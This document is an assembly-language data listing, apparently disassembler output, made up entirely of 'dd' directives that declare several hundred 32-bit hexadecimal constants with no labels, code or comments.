		dd 0F38A13F2h, 48296EDCh, 781ECBC3h, 44489940h,	164AC0C6h
		dd 0B1106EFDh, 515A1808h, 0AA5F6BF2h, 0E5F441AAh, 0EEC3CA42h
		dd 4615206Fh, 0C8C63125h, 95535EB4h, 5A726630h,	70148D48h
		dd 29EC15B2h, 5C7EC558h, 0F5B92659h, 3097EE60h,	6E084019h
		dd 82172728h, 0B4A720h,	3118E8C1h, 5A3768C8h, 0ED1365BBh
		dd 9F5F0CF0h, 0DF084803h, 0BF051002h, 632FC007h, 0D818E25Dh
		dd 0E88807DEh, 2FC8FE59h, 0E5BE04E7h, 814CACB1h, 0D9A3A984h
		dd 806DC1ECh, 60EEEF29h, 0EE8A2E4Bh, 0EB004B51h, 487FC0h
		dd 0F4B5BB50h, 0F329B48Dh, 0E3046B98h, 20E1E905h, 4BC4B0Ah
		dd 0C1A40B32h, 7B59F5Bh, 59525469h, 742D6CBDh, 1905D105h
		dd 0D840133h, 0BF210A0h, 563C78D8h, 15D1152Ah, 29028F94h
		dd 0C2895DE8h, 85CC10C1h, 2C67E9FDh, 40D8B2D8h,	0A8FC57C1h
		dd 4B5E5640h, 0D0E78429h, 0F4EC2FCh, 892D5109h,	0E28E91D0h
		dd 44FFC014h, 9B78B22h,	81F0837h, 479E5F14h, 0E7C1036Dh
		dd 78E6E907h, 9005EA7Fh, 19471304h, 0DE750B8Fh,	961BED27h
		dd 69070C0Dh, 14B3815h,	8AB85EF5h, 6EF02DB2h, 70818881h
		dd 0F9395AC5h, 7C37FE3Bh, 62B26CCEh, 98A8FCB1h,	0D7F74323h
		dd 910882BEh, 0CE290C4Ch, 3C00EC76h, 5559603Eh,	90465F68h
		dd 0FE92C17h, 209CA86Eh, 699832A3h, 131C1A20h, 1C881FB3h
		dd 8C6D33Ch, 81002998h,	8D1A58E6h, 0CCEEC27h, 395C2D45h
		dd 0B02856Ch, 0B7E919C0h, 4CACFAFEh, 7C4C66E6h,	16F4DECAh
		dd 93EF2F7h, 2F2DB850h,	3D1DCDD9h, 0A533276Bh, 0D168D4B3h
		dd 4B0E18Eh, 22BFEE01h,	2A2120F3h, 0BFA6F721h, 0E5C10604h
		dd 6500603h, 9714D3F3h,	2FA10FA4h, 49AB44FAh, 86C45B5Eh
		dd 0A716BC17h, 0F4C6ADC2h, 0FD59E4C6h, 90E2923Eh, 598CE9CEh
		dd 39CDD6FDh, 133BFB5Ah, 0E910CC12h, 2E2F0332h,	5DDCC166h
		dd 0E8D88D2Ah, 6D7E77BEh, 2BA6B8A0h, 0E789BE94h, 27896753h
		dd 0C319911Ah, 124139FEh, 0C4E611E4h, 0B310681Bh, 415EC7FAh
		dd 9EA34ABEh, 94B896D6h, 0CF09F601h, 57B1681Bh,	52029366h
		dd 154590Eh, 74762841h,	0E11D8136h, 0D0E7222h, 470FD7D1h
		dd 52074BC1h, 0BDF1045Ah, 85C2D7ECh, 232BC6Ah, 5E7851D1h
		dd 0A56E795Dh, 88647618h, 0CB221690h, 76C102AFh, 131F410h
		dd 8205EF4h, 7BF60CC1h,	288258B9h, 57CE44EBh, 0E4271664h
		dd 0B4AD4E43h, 0BDE62772h, 5AE1B9BFh, 353B185Dh, 0E916712Eh
		dd 3046CAF4h, 0C44B5849h, 96146810h, 29E0D14Ah,	91AA5C1h
		dd 5674A916h, 21C59CCh,	0FE6A58B3h, 0C5280314h,	0C1E58058h
		dd 304EF598h, 759EA2Dh,	3090F56h, 5BC9AD2Ah, 8DEC3432h
		dd 92407640h, 705B4D0Bh, 0C6BA05A7h, 0D805507Ch, 829014EDh
		dd 204ADAA1h, 830440E3h, 69E9FAAFh, 9BB6BF94h, 0F2D6C74Eh
		dd 6259D343h, 0F7927620h, 5B64CA04h, 6BF00175h,	4BF4BE9h
		dd 0C1C5804Eh, 1E721D8h, 782CDA30h, 0F733CD4Fh,	0E9890605h
		dd 0FE41D14h, 0ED2400D2h, 70C9813Dh, 6624376Ah,	11021349h
		dd 84603A5Dh, 579706C2h, 4ED57554h, 4CC3D10Eh, 7F780B0Ch
		dd 15AE4F64h, 0E24A045Ch, 0DCD7D4ABh, 2B28EAE4h, 5531110Fh
		dd 0F307914Ch, 1E6A7550h, 7ADACBC3h, 370099D7h,	76BF7ED7h
		dd 9ADF012Dh, 0CC2A5C5Bh, 7CF3C76Bh, 72E9F061h,	2010BDB3h
		dd 4F12ADEEh, 9B1D5643h
		dd 0C14E936Fh, 226D6DE8h, 0EC2037D4h, 0AE690AEAh, 15A8DB0Ah
		dd 944F16EAh, 1606F246h, 0ACB3ADF0h, 5F545709h,	78291849h
		dd 3EA15726h, 0F94C9752h, 0D15B7CF6h, 0A7D5184Bh, 5209A01Ah
		dd 0FA7B644Bh, 7B19AA9h, 28AEB753h, 0F054A5F8h,	43505BFBh
		dd 7E04E6B8h, 0DD896E4Dh, 0FD8642E9h, 0F602DFB4h, 38A0092Ch
		dd 4CD34046h, 1A4E0020h, 3239072Dh, 0D000F77Ah,	944A750Dh
		dd 4B8EE968h, 21D8331Bh, 0EBAC7734h, 4B6ABA0h, 0E9D6F631h
		dd 8A9AD477h, 0ED5726C6h, 5C5FF9C2h, 0B68454Ah,	0A162580Dh
		dd 0E9092A5Eh, 4CB0706Fh, 51B01759h, 0EBE4C588h, 0E74488FFh
		dd 5CE9040Ch, 29D0916Fh, 359EE0CAh, 0FF9211D9h,	0ED2A53F0h
		dd 76B546F4h, 4F939E85h, 3BA5C84Bh, 92ABD754h, 3CA93395h
		dd 20CEA40Ch, 657E1517h, 0C3686A02h, 60AF746Ch,	276925FEh
		dd 9EEF3129h, 6609400Bh, 938B74CCh, 743AC7Ch, 0F65265D0h
		dd 6795AAE9h, 60680572h, 55264128h, 813D96E9h, 215A5C1Dh
		dd 0F2EF5838h, 0A2856BC7h, 27A64D02h, 1229D8E4h, 0BD325220h
		dd 41264A58h, 1CC0AC37h, 84494B68h, 0C17FC4E9h,	7097E344h
		dd 0B6A82EABh, 5E73F089h, 0CA58C324h, 8AB4B91Fh, 8B59F47h
		dd 56181654h, 0DE274E96h, 0D86EC327h, 4CC14FD7h, 739EEFh
		dd 0DDCA4D49h, 0B8E9FE29h, 0BF00A192h, 4B237EC4h, 9042F781h
		dd 215B24C2h, 261B098Fh, 92BC2DD1h, 8BE9DEC9h, 12205D4Bh
		dd 8292A2F3h, 86D36E9h,	0CFBD0BC3h, 68535E18h, 44564A25h
		dd 2683455Dh, 7FE98566h, 315BCE90h, 895912CAh, 0E14605D1h
		dd 0CC4096Bh, 41F74C00h, 18C134B0h, 356A4882h, 0FF08DC30h
		dd 6285C0CCh, 497CDA4Eh, 2CDE6801h, 7AB0D64Ch, 67D032BDh
		dd 506BA477h, 4E6B2ED8h, 0ED816D00h, 7027AAAh, 0C0EC34Dh
		dd 0D0C7DE01h, 9A58B0CDh, 1427448h, 7BFD0DB3h, 43FCE3C1h
		dd 16A15AE9h, 0BA7CD1E9h, 0F2A755CDh, 928388E6h, 854C095Eh
		dd 295CB3C1h, 64304B48h, 0AA607A68h, 0B551CE1Eh, 885A7D04h
		dd 0EC4C06C5h, 195E96BAh, 0B448B4D0h, 40AF3350h, 0C70781D0h
		dd 160C622Ah, 8CF11FB4h, 7A56928h, 1407F107h, 0CECFC109h
		dd 1C256FC4h, 0A310ECACh, 985D2F02h, 9BF0F13h, 32F268C8h
		dd 0E48C3CF9h, 13D943AAh, 0ECB015Bh, 5FC1C35Fh,	30516E43h
		dd 0B4C1757h, 79B3C42Ah, 2FC065B0h, 0EEE004E8h,	0EB5E809Dh
		dd 0B1013A83h, 0C3E4C2CBh, 0DD882CC6h, 445E3B73h, 0AC530689h
		dd 6559F2A7h, 45B1A4BFh, 357AD0D1h, 28F8D45Dh, 0E54B6DB0h
		dd 59E92374h, 7A43814Eh, 0C9FD68BBh, 5EB91950h,	90A889DAh
		dd 0C4ED6278h, 0C5932CA7h, 5FBF4BB0h, 4BEB8E90h, 6D862B02h
		dd 0D1059668h, 566980D7h, 3DE90F07h, 5D1E84B5h,	2AD309C0h
		dd 0C77600Dh, 18BE230Eh, 0FCA2297Ch, 83F080Ah, 1830E11Eh
		dd 50931C6Bh, 8050E92Ah, 1EB75854h, 26679416h, 71300093h
		dd 0D1BE3195h, 0CE6A8E12h, 25E310C2h, 17CEE85Fh, 5D8AD031h
		dd 1AE95304h, 2B3EC9F0h, 0F529EFD0h, 13C5E65Eh,	4701E957h
		dd 74D8B74Fh, 0FD5AF181h, 0C6D870D7h, 0FA571695h, 9F459A3Ch
		dd 0E1CC0B84h, 79508D66h, 39289DF2h, 3BF921C9h,	31A7E8C7h
		dd 223950E7h, 1E736B5h,	0E05AF520h, 0CFCB25B2h,	6DFD9BBh
		dd 33335BDDh, 800D9B4Eh, 0DAE1D821h, 29583328h,	9A6A717Fh
		dd 95709C20h, 780425Ah,	5740CB0Dh, 0C536694Ah, 71584EECh
		dd 6416E95Dh, 3802B5BAh, 2869F580h, 0C2B1D6E8h,	68013FE3h
		dd 39884FCFh, 4018193Ch, 5489Ch, 7D8D15BEh, 28D84C35h
		dd 0C75C5CB0h, 0B97C2847h, 5D685F4Bh, 0DDC0800Ch, 44FA1083h
		dd 39C655D0h, 505C8C2Dh, 7B5E585Bh, 9D4C7F04h, 5AB0C219h
		dd 54F48802h, 950F9279h, 64030470h, 7FBA99BCh, 54C2C134h
		dd 5C53E833h, 53C5BD2h,	0BDA89E9Ah, 0C9AF84C7h,	5C6523AAh
		dd 14CA67CAh, 937D805Dh, 7DB15166h, 48F225AEh, 0D32FF3D2h
		dd 9AA9E55Dh, 0E71A636Dh, 20A71E57h, 32B5F226h,	8B88627Dh
		dd 0A2AA448Bh, 887DFCA5h, 4127286Bh, 61CE52CBh,	9148F37Eh
		dd 27AABE0Ah, 685BDE30h, 66A6854Eh, 39627627h, 30062AC1h
		dd 0B17C507h, 1E1E333Ah, 0C8A8BCCh, 515A12C2h, 0FAEA0FDBh
		dd 3C08EACAh, 0FDDFA3CDh, 0E9B48C5Eh, 0D8DCCC2Ah, 2C385A3Ch
		dd 0BE810D94h, 65A26D44h, 0ECF11431h, 88265AD2h, 0C95EA7CBh
		dd 6980F757h, 195943D7h, 0A67C28F7h, 0CAC0186h,	68E905C2h
		dd 4E7485D4h, 2081EE81h, 48342441h, 0C9EA4F83h,	3F413E87h
		dd 293F1748h, 0A372143Bh, 1F93716h, 0CD0D27BCh,	3E2F014h
		dd 1F4C0EE8h, 4BDE485Fh, 0F2210922h, 0A76F20C9h, 0A2F80125h
		dd 908667Ch, 5B021A02h,	145BC2EEh, 0ECC559D0h, 6CB10B16h
		dd 4688D501h, 0AC0C3008h, 48525021h, 3A1113F4h,	0C6DA5FB6h
		dd 6E2E0ED4h, 0C09C153Ch, 6E000F8h, 336ABD55h, 0DC6CFD90h
		dd 0CB1FC94Ch, 0C184676Eh, 3B3712DAh, 0B44E5A3h, 0C04FB10Ah
		dd 0CF4B6A0Fh, 0F8D240A9h, 0C3510497h, 77381C80h, 0C0B60A7h
		dd 1016012Ah, 86685301h, 5B052906h, 784C5578h, 849D853Ch
		dd 0EACB807Ah, 0E94B1436h, 12582A27h, 0C90EF67Fh, 2AFEED07h
		dd 0E95F04ECh, 3A09E172h, 1019CB62h, 8180A6A1h,	7FBC09F5h
		dd 0DFD040D5h, 1514C0A0h, 0B61BDD28h, 2B448302h, 88CD2962h
		dd 591808CCh, 2CD7EA3Ch, 4AEA1CBh, 80DF015Dh, 0C426DB9Eh
		dd 103D445Ch, 0F72C2B28h, 0AD25085Dh, 73C5681Ch, 26822E49h
		dd 274909A7h, 0F67D6E59h, 55E5033Eh, 0FC954E53h, 0DB9000h
		dd 68630FF1h, 0B41740E9h, 0D592BBFCh, 8853344Dh, 134A983Bh
		dd 0D33FBFF7h, 8A0E9354h, 48BCA8C8h, 5D0BC0A6h,	51413B68h
		dd 7AF8958h, 0BF276AB0h, 0C8506680h, 5E046182h,	1EC5DA01h
		dd 95EAFC26h, 7CE5FBA9h, 0E38B88h, 0B23A7FBFh, 4984F5Fh
		dd 946F0101h, 635CE941h, 0E22EAC22h, 41559716h,	485418F4h
		dd 2888306Dh, 4C506880h, 0B1C0805Ch, 36C680F0h,	28DACEE0h
		dd 0C26FC083h, 6AE50132h, 0DB1B662Dh, 48C6640Fh, 7B90E0E8h
		dd 90B0AE20h, 0B6B15885h, 0B450EC63h, 85E104DFh, 0E19AA8EFh
		dd 4879D87Fh, 0B85753E2h, 32E95109h, 0AD36CA7Eh, 0B97D66E0h
		dd 6205281h, 176F00C3h,	9041BA69h, 0E91696E8h, 3C29266Eh
		dd 2A77EDh, 2D43053Ah, 0D7927287h, 55FEC2E4h, 0BD6180B7h
		dd 7AE14EA2h, 0B97DE532h, 0B28DC702h, 0F56ABFE4h, 0D3B9945Fh
		dd 0EB82040Dh, 840F01A4h, 3D6CD040h, 0EDCE959Fh, 415DDC40h
		dd 908A3BC0h, 5F90915Ah, 16302661h, 11954155h, 4C1FDC01h
		dd 19610EF4h, 0BB2C3D54h, 0C5794A68h, 85A9B220h, 59A85FFDh
		dd 1613A8D2h, 0ECC4BEE9h, 0E1A4CFF8h, 79F77644h, 31E7D762h
		dd 4CA071F0h, 7A16FCAAh, 32013C79h, 52681854h, 4E0B0C80h
		dd 0C829AA9Ch, 66B10799h, 0B802F555h, 8D8FE0F1h, 109875Bh
		dd 80B8869h, 0E9D12901h, 0A950C3C2h, 3056E5E7h,	0D77E2FBBh
		dd 50489B27h, 65AC109Dh, 2045B707h, 4C0395FAh, 649C56B3h
		dd 123D52B3h, 0C8F1C168h, 91F98715h, 0C97AB2F4h, 3BDEF0FAh
		dd 0D692EBD1h, 0BD87D221h, 626AD76h, 0D44B0709h, 0C8E2C778h
		dd 6A62B128h, 81EC730h,	0A3D92780h, 3B2486A0h, 4A056A61h
		dd 0F53DE9h, 2D4D9AD8h,	0BBE32E01h, 3056F195h, 5D8118C8h
		dd 0A9ABC0D8h, 0A4D0F19Dh, 0A05E246h, 4013934h,	72D14CFh
		dd 40D2DF56h, 5D82995h,	682707D4h, 5E8C4030h, 33592806h
		dd 4A9722B2h, 74576858h
		dd 9A151095h, 2421F975h, 5F254AFEh, 93E94B82h, 0AD1D71F0h
		dd 38D76855h, 0B4CDE861h, 12C246Ah, 0B829CEFAh,	0E9F1E77Ah
		dd 0EC903AE3h, 658395F2h, 82D57653h, 674EA709h,	25CFBE20h
		dd 0E8C0DDF7h, 7031122Ch, 0C5293021h, 3596093Ch, 15E90411h
		dd 1D2D00EDh, 2403501Eh, 0DA9C729h, 0E0814754h,	0CC1F5B0Fh
		dd 0FBD75927h, 7C4836B3h, 0D45D0E0Fh, 0D560E9A5h, 13813468h
		dd 87A6ACFBh, 7179315Ch, 64A86263h, 1AD9557h, 9EE9E821h
		dd 47CA33EBh, 849B6927h, 0C9133FECh, 0ADB07CFEh, 0F55F7F41h
		dd 0C397647Bh, 35033005h, 0E25390C3h, 0D10C050Eh, 0C3584222h
		dd 3217EBC9h, 8C001E44h, 639730C1h, 0ECC20E9h, 0E180F4B6h
		dd 13C74B6h, 60B6B0F3h,	418E3CC3h, 0B0DE752Fh, 73FD0252h
		dd 21A3E313h, 0F767C1h,	0DF572668h, 0EE18A19Bh,	4E124CE8h
		dd 4EDA101h, 0A3DA6408h, 0B33461E8h, 8E708577h,	834D0DEh
		dd 3B05295Ah, 0E2D18030h, 0C4427268h, 0FB4AB287h, 6283E738h
		dd 15F3B5AEh, 7D3C9D22h, 67E04812h, 2D241B27h, 0C602610Fh
		dd 0D5054E18h, 65FE6409h, 49190717h, 98809D48h,	84735DC3h
		dd 0D358291Fh, 80B3447Eh, 6436EE32h, 51AAF6ABh,	6C804056h
		dd 22183913h, 310B68BEh, 15B16DEh, 1AAAE6F0h, 0FC46FD82h
		dd 0A4F15305h, 0D65C0264h, 9BE97886h, 5C93484Bh, 0F1C392F0h
		dd 4F39489Bh, 6193F380h, 9143543h, 0B1C41C5Fh, 0E6E66568h
		dd 836097C0h, 772749D4h, 0BD1FB52h, 61B4178h, 3676DDC0h
		dd 0B2585C2Eh, 0AAA72A18h, 30149520h, 90F67D20h, 54A80F4Fh
		dd 0E1642E92h, 0C54EA842h, 0F04EE452h, 2AA9131Ch, 11D609D6h
		dd 0D3A1B734h, 4F3D5C56h, 2A68EF44h, 2767808h, 0E9B1B252h
		dd 1180D40Ch, 3BAE0F26h, 0C403099Ch, 0E11B1C64h, 8C6A283Eh
		dd 1A2C2F9Bh, 330B25C1h, 198952C6h, 765E2CEEh, 0B850100Bh
		dd 286F095Dh, 48005635h, 60DC750Fh, 1902609Fh, 471D487Fh
		dd 69748B04h, 0DCD3C006h, 51600D29h, 33F80324h,	0D6891F40h
		dd 0F5CEC15Ah, 2E47DC70h, 914FFC8Ah, 3CAB785h, 0E6C19D64h
		dd 6A73D42Ch, 20FEB81Ch, 1F5DFDFAh, 117102FDh, 404D7E31h
		dd 3B5DFA3Bh, 0E50335C6h, 4FAE6B7Dh, 4667F5E0h,	0B4903898h
		dd 292DF892h, 0D95C6BC6h, 168EEE07h, 0B5E451ACh, 0F561FEF6h
		dd 0DC6B5A99h, 2040E52Eh, 78CABE5Bh, 9C0CC138h,	509FBCE9h
		dd 0C0B6ECC3h, 439AB80Dh, 350E502Fh, 0E01C0220h, 0E728982Dh
		dd 0A30D017Eh, 0E930D205h, 0C197512Bh, 0DC2DD4E0h, 20102C1Fh
		dd 7EF41852h, 4CEEEEEAh, 748493BAh, 5BA5B226h, 0E9EDBAD4h
		dd 0CC9F5B7Fh, 700F0EE9h, 0FFBF5BE8h, 7EB2CC09h, 0E6D11CEBh
		dd 0B0210FCh, 495EA80h,	0C2D316ECh, 1DF5F950h, 8109983Ah
		dd 4327EF06h, 16487DD0h, 35083EE9h, 892E164Ch, 0BDC30440h
		dd 0AD13854Dh, 0A9E1EF9Ch, 152555BFh, 0B52F7F60h, 0F3007F46h
		dd 45227A26h, 368ED81h,	0E91CC1CEh, 0EB5CFD4Dh,	5D8607A4h
		dd 294F51h, 8122E27Ch, 5E6D9809h, 5FF701FBh, 810E2AE9h
		dd 3EB9C6CBh, 0DDED2DA7h, 989B55D6h, 0C70150CBh, 7C48B905h
		dd 53DA5F39h, 0ADE5A72Fh, 0E2B06AAFh, 87B8551Eh, 0E915DD01h
		dd 421746ADh, 61645E91h, 68539220h, 0CC055FBDh,	6F27E9C5h
		dd 0DFCF463Ah, 0A12FFE16h, 65EAC848h, 385A0204h, 0E283DAF7h
		dd 7C50C01Dh, 0CBD75F01h, 7803251Ah, 0D4E595C1h, 162371A5h
		dd 7D95265Ch, 1B31E913h, 810013CAh, 305FB9CDh, 0BE005632h
		dd 477F58A2h, 0B55EF509h, 0FE54B709h, 0E9030C30h, 8A4C5B02h
		dd 9414D8FFh, 0EE012FDFh, 0BF169889h, 786BE926h, 0F6F51EB0h
		dd 0D2A6730h, 5EE6525Dh, 2F582840h, 89A2B612h, 15A8B19h
		dd 2A0E7623h, 0BC73DD77h, 9CD558D3h, 0BDE4A227h, 0E3B9009Dh
		dd 6A605F15h, 9A25DC8Ah, 270CD118h, 3FDE102h, 0E46036AAh
		dd 212D71F2h, 52C7206h,	90D23DF1h, 0EE96011Fh, 0F874342Ah
		dd 6595B823h, 2FC224EEh, 9020C566h, 585B0554h, 0ACA2F680h
		dd 0D8281F1Dh, 45B0B8DCh, 13712DE5h, 0E54D2B83h, 1EDB5171h
		dd 31553066h, 232EC564h, 9ED49EFh, 6C5CABE2h, 0B44BC08h
		dd 11F1EB01h, 8E3C185h,	0B8EC21C0h, 0F1464E23h,	0C1E06B66h
		dd 1256783Dh, 8081E9C8h, 2FD5BEE7h, 0D355B82Eh,	0F774103h
		dd 88F6F973h, 0B9E2A8ECh, 0D169A52Ah, 5DF78D6Bh, 5E30BE58h
		dd 4C4898F5h, 62AFF69h,	3951F4B5h, 55941F23h, 0ED4191FFh
		dd 2F58ECECh, 0CC622EE0h, 4595FC1h, 70663380h, 8F2B4D6Fh
		dd 2794B64Bh, 582183E8h, 501DBA55h, 0E1081449h,	0A448B866h
		dd 91C10E73h, 0F8E47604h, 6325AAEEh, 1A6C0481h,	0D6C82968h
		dd 0F6FBCAADh, 102EA39h, 49D82B6Dh, 72E6F446h, 0DECE6676h
		dd 8B22ABF6h, 0D952E2BCh, 15A509F7h, 0CC246A52h, 5CCB9A42h
		dd 255098DDh, 584BC301h, 77B64164h, 0BCE8A913h,	169CB682h
		dd 0ECC679D1h, 0B2211B9h, 5075EF07h, 0DF87B0ECh, 8D8D3F7h
		dd 130BF018h, 202D4D5Bh, 2F9CE9A7h, 0E23ABA80h,	81321EDFh
		dd 9B28CCCAh, 7D9165CEh, 53BFE200h, 984A368Ch, 5B670264h
		dd 0D08962CCh, 5607E76h, 0E0F4266Dh, 0E8C10048h, 35D0F708h
		dd 0CE35F5B3h, 8553ACDBh, 0A0530895h, 5F2BCFDh,	26B0174h
		dd 0E102CAC1h, 0FB812B2Dh, 0A33076C3h, 0B2C23E38h, 4E1578C0h
		dd 95172550h, 0F4E5FC4Bh, 0CD4B67E2h, 0F7746EDDh, 921608FDh
		dd 0C0F334CFh, 41490178h, 9652623Fh, 0FAD02226h, 2E2D2805h
		dd 1337E180h, 0B11ABC24h, 5688EF83h, 0F3EBC13h,	43842C37h
		dd 0B5C828C2h, 0E906FF1Eh, 90F33FF1h, 6401032Fh, 2EBC127h
		dd 7AF8E3CBh, 88A0609Ch, 0CA2FA936h, 76F98BFBh,	0BD9A580Bh
		dd 0DD3BBA9Fh, 795B4AA3h, 0CF381E5h, 27D8069Bh,	5AAA6AAh
		dd 0B2FA02E8h, 4C2914Ch, 0B827E884h, 0B1A17827h, 0D0397008h
		dd 0BA057892h, 32761CE3h, 62989700h, 2D210553h,	0FD405FFAh
		dd 5A814F77h, 0B784AE7h, 73115BF9h, 4AB828C6h, 39527128h
		dd 84FDA88h, 5127F860h,	97211626h, 5705F3A6h, 0F8045709h
		dd 0F3830451h, 194D1588h, 166CCB6Dh, 36263EE2h,	7234953Fh
		dd 66541EC9h, 8BCCB5B4h, 6BD18F82h, 0E5AF5A0h, 0A2DDD8F2h
		dd 0F9A5120h, 0C2B252ACh, 99E0CF29h, 2F16DDBDh,	3B1F5A68h
		dd 0EB00C867h, 852A1F06h, 523C1313h, 0B4D01677h, 0D64A011Fh
		dd 0F9751891h, 0B4B8402Eh, 4E4DE117h, 85EEC12Ch, 1D7E8F39h
		dd 8CB498F9h, 0E3C24FAh, 0BCA22F58h, 0A27F37E9h, 0EC02C374h
		dd 95FBFCB5h, 5753F683h, 5A4B8204h, 24C03F94h, 90CF763Bh
		dd 0F1EA0248h, 52FEB8F6h, 0FC063170h, 5F5E9E04h, 5A07816Ch
		dd 5833202Eh, 37541468h, 0D2A9EFA2h, 30EF7753h,	5FF1125Bh
		dd 8C68589Fh, 4BDD063Ch, 88D1F713h, 0FD77300Bh,	0E64F962Ch
		dd 73E00AC5h, 0EE459F57h, 82D18569h, 1F77BFA1h,	0F90C2Dh
		dd 0B9515760h, 0CC0158A9h, 6E1C109h, 11918A00h,	0D13D66FFh
		dd 0C6A0F2EFh, 652834E7h, 0C7059269h, 0FDF6123Ch, 4382BAD5h
		dd 81FA5EA4h, 0D66693E1h, 0B67B7043h, 0BEE60802h, 44FEFAE9h
		dd 0FD0722E0h, 6300D85Fh, 5F472D35h, 0A5E0B54Dh, 0BD05DE05h
		dd 0C329F35Ah, 0C005ECECh, 81394628h, 0F8328C90h, 5225E9D6h
		dd 0EF1CD954h, 0E9C51FE4h, 798E3E2Ch, 5443D58h,	0EC8FDAF4h
		dd 0EB83E8D0h, 3018BF04h, 0A9606EE9h, 2988E53Bh, 84144A34h
		dd 0C93980CDh, 8BF5A311h, 0EE3B12CEh, 60B4F612h, 0A0CE4198h
		dd 0CA988A5Fh, 6063BA0Eh
		dd 0C101C9B1h, 62D6E99Ah, 0C14C85B4h, 0DFF15FEAh, 830253F1h
		dd 68265796h, 31BECBF8h, 0BB75D86h, 0C5747BF1h,	0B5510359h
		dd 0D0E5806Ah, 22522CE1h, 3D3C26EEh, 14E3042h, 3A5F3D68h
		dd 2ACED48Dh, 4BEC07C7h, 0A7895BDFh, 99B49758h,	206AD82Dh
		dd 29A1E6E4h, 9B06168h,	776C4024h, 30904B59h, 0E2611703h
		dd 0D4CB211Ah, 2EDA18E8h, 16CF817Eh, 88BD5852h,	0D610BAE5h
		dd 0BD40B4F8h, 6368E1F7h, 56499550h, 43A707E7h,	0BF1359A9h
		dd 0C09B3C2Fh, 54A172C8h, 514B6DF8h, 412082B4h,	45B1E49Ah
		dd 24F18005h, 0F4C0D9F6h, 0F5C9FEC5h, 0FF70EFC9h, 0CA280481h
		dd 84D78859h, 5A0CBC0Ch, 9EC57144h, 6C1220EFh, 0CC16887h
		dd 6ACA5B62h, 506CD83Ah, 28E3EAFAh, 7A099E20h, 426BD42Ah
		dd 580BB456h, 0ACE748B5h, 0A720092Fh, 16A14ABFh, 8EAC118h
		dd 91B4D12h, 0EBE996B6h, 5D0EE2h, 0C20ED750h, 53979006h
		dd 2E4D9121h, 0AC2F0B92h, 875DC9C0h, 2496D558h,	72134C55h
		dd 0BC2DEB4h, 57596420h, 0E9094853h, 807956CCh,	0B791B3Ah
		dd 64F8C801h, 6C93B85Fh, 4060E07h, 936D9435h, 1FEF174h
		dd 0E3615456h, 0E3827461h, 401B74C6h, 0D33C9482h, 4B9CC164h
		dd 0DF82DF45h, 48A474A5h, 0EE8A15E8h, 0EB63862h, 1A3018F5h
		dd 0F35FC02Dh, 0A50FE3E1h, 5C92EDECh, 48EB3D4Ch, 5B08403Fh
		dd 0ED47E916h, 32C6D3E4h, 0D648464Dh, 46B057Ch,	0AD019A07h
		dd 0C0207F83h, 0D57E840Fh, 0EB867A0h, 0CB80FA4Ah, 0B83A6328h
		dd 0C83B2765h, 510089E7h, 0AA0A6768h, 7DE9281Fh, 0CBB03C6Bh
		dd 0FC5AAD27h, 0F85888F2h, 4B274D2Fh, 0FCDF4FF2h, 0B40A845Fh
		dd 893951E9h, 81CA24F1h, 3178C125h, 0B6DD6C70h,	557D3D74h
		dd 342AC770h, 2190B35Eh, 962D08FFh, 0FE05612h, 1C17074Eh
		dd 60C4BA55h, 0FCE91D44h, 8BE6484Ah, 4DD4F50h, 1050A78h
		dd 4B0982CBh, 79A0997Ah, 1ABDF7EBh, 13C85421h, 889FB046h
		dd 0BA53D439h, 0D7F9A8E7h, 4ADEF65Dh, 0D26FB2A1h, 48C42A6Dh
		dd 0EC2DD000h, 35572168h, 65900A5h, 0DE0D14Eh, 203E74D5h
		dd 1D3D007Dh, 0FD2D585Ch, 0EF2C0FBAh, 4501C521h, 8119C0E9h
		dd 5C4FE6BDh, 0C810566h, 650A4310h, 90F74046h, 52003ADCh
		dd 55EF029h, 48DB3FECh,	85162D48h, 9BE8CC2Bh, 3D4D4317h
		dd 0E923EDCBh, 0C222DA5h, 0C9A37742h, 6BD8B815h, 40040197h
		dd 2502890Dh, 7CF5C853h, 5000CFEh, 39F1F062h, 2AE9C301h
		dd 24943EFEh, 77A07EDh,	6BF2121Bh, 0F57B83F2h, 185F3E00h
		dd 215DE989h, 2635BBC8h, 140103D9h, 463668E3h, 0B50D3B02h
		dd 8C502001h, 742C2123h, 0A602109h, 0ED6B878h, 0F14E4F1Eh
		dd 6492F5CEh, 88B75B44h, 982CF33Eh, 20478F80h, 0BE7E4068h
		dd 7B544902h, 1306171Fh, 9F0B31B8h, 151D9141h, 1F587780h
		dd 816C017Dh, 0B7173FF7h, 5C17700Ch, 0E1044000h, 2D5FF829h
		dd 0DDF713CDh, 960CBCD7h, 58E37FF2h, 595DD32Ch,	0CA87FA5Bh
		dd 0A301FDD2h, 20CBFECCh, 8D70B0DAh, 8858D8F3h,	0A4D2DA5Ah
		dd 240E5C06h, 30A602F9h, 70435AF4h, 68D6CEEAh, 66EA0338h
		dd 0A3FA2859h, 22E9EF53h, 50CA8728h, 12E82D3Ch,	4EDEAA20h
		dd 92BF7292h, 0E23C408Dh, 0D37C82E1h, 0C6EB8060h, 30109028h
		dd 5A20CC9Ah, 4767B353h, 0F33229BEh, 15824130h,	23CDBE00h
		dd 68051209h, 0E5EF2F34h, 2DE497C8h, 25CEB4D9h,	8103A250h
		dd 3632CEEh, 0F394B715h, 52A4480h, 7B430254h, 10B2E90Eh
		dd 0C2E2BF56h, 62F27C58h, 3B60C885h, 0D68293F2h, 5AD7C257h
		dd 0F76698D7h, 316818E9h, 0A004A114h, 1814280h,	49699EE2h
		dd 0F8EAD12Dh, 0CCB53783h, 6DEE0410h, 0ECF7BDFFh, 48EC59FBh
		dd 2F9F9048h, 0CE8510B9h, 27FEA459h, 45F1BBABh,	8C542A3Ch
		dd 8030198h, 29F69241h,	0F593EACDh, 2EF4EEA9h, 349C612h
		dd 482CD058h, 4101B752h, 0BA2FE679h, 310B9845h,	800A8FB4h
		dd 2E0BCB81h, 7FF63Fh, 155D3371h, 45E912BDh, 7836E2D0h
		dd 5ACABC2Dh, 3F2B953Fh, 702F37FBh, 0C1B8FAF6h,	0EED0599h
		dd 2A2DD45Eh, 65F5097Eh, 1B945CAh, 595026C6h, 8D548019h
		dd 0F7600120h, 0F0E913DBh, 0D573B44Bh, 0C01627Fh, 3B512540h
		dd 5F3C3A0Fh, 962C9F01h, 386AE92Ah, 65542D95h, 519BA751h
		dd 76DD5202h, 614841FEh, 4BD005E3h, 35010251h, 854E3904h
		dd 0B1A02045h, 0B70BE8B4h, 0FCA1072Ch, 0E0C2E227h, 0F0004647h
		dd 1C7D9CC2h, 935125BAh, 0B6D76E4Eh, 534DBF05h,	406AC3A6h
